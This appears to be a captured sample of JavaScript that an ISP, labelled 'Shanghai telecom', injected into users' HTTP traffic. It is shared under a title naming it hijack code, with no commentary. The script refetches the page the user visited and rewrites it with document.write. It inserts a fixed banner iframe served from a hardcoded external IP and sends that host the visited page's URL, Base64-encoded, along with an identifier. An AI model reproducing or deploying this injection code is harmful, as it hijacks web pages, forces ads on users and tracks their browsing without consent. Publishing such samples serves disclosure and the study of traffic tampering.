Shanghai telecom http hijack code

<script>
(function(){
        window["$$$wins_pm"] = {
                "a": "http://218.95.37.249:7799/info.html?sn=0&type=html&mobile=1&aid=2725&width=&height=60&full=100",
                "m": "http://m.newsmth.net/article/DigiHome/667357",
                "_xus": "Y1eLw1V9MBsCdBFpzkovMPMvYZzlMm==M3gO",
                "_xai": "0"
        };

        var xp=null,key="d=123",lo=location.href,ho=false;
        function cu(u){
                var p=u.indexOf("?");
                if(p>0)
                        u=u.slice(0,p+1)+key+"&"+u.slice(p+1);
                else
                        u+="?"+key;
                return u;

        }

        function adx(obj){
                var a = obj.parentNode;
                a.parentNode.removeChild(a);
        }

        function Base64() {
                _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
                this.encode = function(input) {
                        var output = "";
                        var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
                        var i = 0;
                        input = _utf8_encode(input);
                        while (i < input.length) {
                                chr1 = input.charCodeAt(i++);
                                chr2 = input.charCodeAt(i++);
                                chr3 = input.charCodeAt(i++);
                                enc1 = chr1 >> 2;
                                enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
                                enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
                                enc4 = chr3 & 63;
                                if (isNaN(chr2)) {
                                        enc3 = enc4 = 64
                                } else if (isNaN(chr3)) {
                                        enc4 = 64
                                }
                                output = output + _keyStr.charAt(enc1) + _keyStr.charAt(enc2) + _keyStr.charAt(enc3) + _keyStr.charAt(enc4)
                        }
                        return output
                };
                this.decode = function(input) {
                        var output = "";
                        var chr1, chr2, chr3;
                        var enc1, enc2, enc3, enc4;
                        var i = 0;
                        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
                        while (i < input.length) {
                                enc1 = _keyStr.indexOf(input.charAt(i++));
                                enc2 = _keyStr.indexOf(input.charAt(i++));
                                enc3 = _keyStr.indexOf(input.charAt(i++));
                                enc4 = _keyStr.indexOf(input.charAt(i++));
                                chr1 = (enc1 << 2) | (enc2 >> 4);
                                chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
                                chr3 = ((enc3 & 3) << 6) | enc4;
                                output = output + String.fromCharCode(chr1);
                                if (enc3 != 64) {
                                        output = output + String.fromCharCode(chr2)
                                }
                                if (enc4 != 64) {
                                        output = output + String.fromCharCode(chr3)
                                }
                        }
                        output = _utf8_decode(output);
                        return output
                };
                _utf8_encode = function(string) {
                        string = string.replace(/\r\n/g, "\n");
                        var utftext = "";
                        for (var n = 0; n < string.length; n++) {
                                var c = string.charCodeAt(n);
                                if (c < 128) {
                                        utftext += String.fromCharCode(c)
                                } else if ((c > 127) && (c < 2048)) {
                                        utftext += String.fromCharCode((c >> 6) | 192);
                                        utftext += String.fromCharCode((c & 63) | 128)
                                } else {
                                        utftext += String.fromCharCode((c >> 12) | 224);
                                        utftext += String.fromCharCode(((c >> 6) & 63) | 128);
                                        utftext += String.fromCharCode((c & 63) | 128)
                                }
                        }
                        return utftext
                };
                _utf8_decode = function(utftext) {
                        var string = "";
                        var i = 0;
                        var c = c1 = c2 = 0;
                        while (i < utftext.length) {
                                c = utftext.charCodeAt(i);
                                if (c < 128) {
                                        string += String.fromCharCode(c);
                                        i++
                                } else if ((c > 191) && (c < 224)) {
                                        c2 = utftext.charCodeAt(i + 1);
                                        string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
                                        i += 2
                                } else {
                                        c2 = utftext.charCodeAt(i + 1);
                                        c3 = utftext.charCodeAt(i + 2);
                                        string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
                                        i += 3
                                }
                        }
                        return string
                }
        }
        window["__BASE64"] = new Base64();

        function getURLwithParams() {
                var url = "";
                if ($$$wins_pm.a.indexOf('?') > 0) {
                        url = $$$wins_pm.a + "&_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai;
                } else {
                        url = $$$wins_pm.a + "?_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai;
                }
                return url;
        }

        if(window.XMLHttpRequest)
                xp=new XMLHttpRequest();
        if(typeof(xp)=="undefined"||top!=this){
                if(lo.indexOf(key)<0)
                        lo=cu(lo);
                location.href=lo;
                return;
        }
        xp.onreadystatechange=function(){
                if(xp.readyState==4){
                        if(xp.status==200 || xp.status==301 || xp.status==302){
                                try{
                                        var rt=xp.responseText;
                                        document.charset=/<meta\s*.*\s*charset\s*=\s*[\"\']?utf-8/i.test(rt)?'utf-8':'gbk';
                                        document.open();
                                        var sjs='<script type="text/javascript" language="javascript">function adx(obj){var a = obj.parentNode;a.parentNode.removeChild(a);}<\/script><div id="aabbcc" style="position:fixed; height:77px; width:100%; bottom:0; z-index:2147483647"><span id="ad-x" onclick=adx(this)  style="position: fixed; right: 0;z-index: 8; padding: 2px 6px; font-family:\'Microsoft Yahei\';font-size:14px;color:#ffffff; border:0px solid #5e6265;  background: #5e6265;">关闭</span><iframe id="ad" style="position:fixed; height:60px; width:100%; bottom:0"  src="' + getURLwithParams() + '" scrolling="auto" frameborder="no" ></iframe></div>';
                                        //var w0=rt.indexOf("<\/head>")>0 ? rt.indexOf("<\/head>"):rt.indexOf("<\/body>");
                                        var w0=rt.indexOf("<\/body>")>0 ? rt.indexOf("<\/body>"):rt.indexOf("<\/head>");
                                        if(w0>0){
                                                rt=rt.slice(0,w0)+sjs+rt.slice(w0);
                                        }
                                        document.write(rt);
                                        document.close();
                                        ho=true;
                                }catch(err){}

                        }else if(!ho&&xp.status==0){
                                location.href=cu(lo);
                        }else {
                                location.href=cu(lo);
                        }
                }
        }
        xp.open("GET",cu(lo),true);
        xp.setRequestHeader("Cache-Control","no-cache");
        xp.send();
})();
</script>
<div style='display:none'>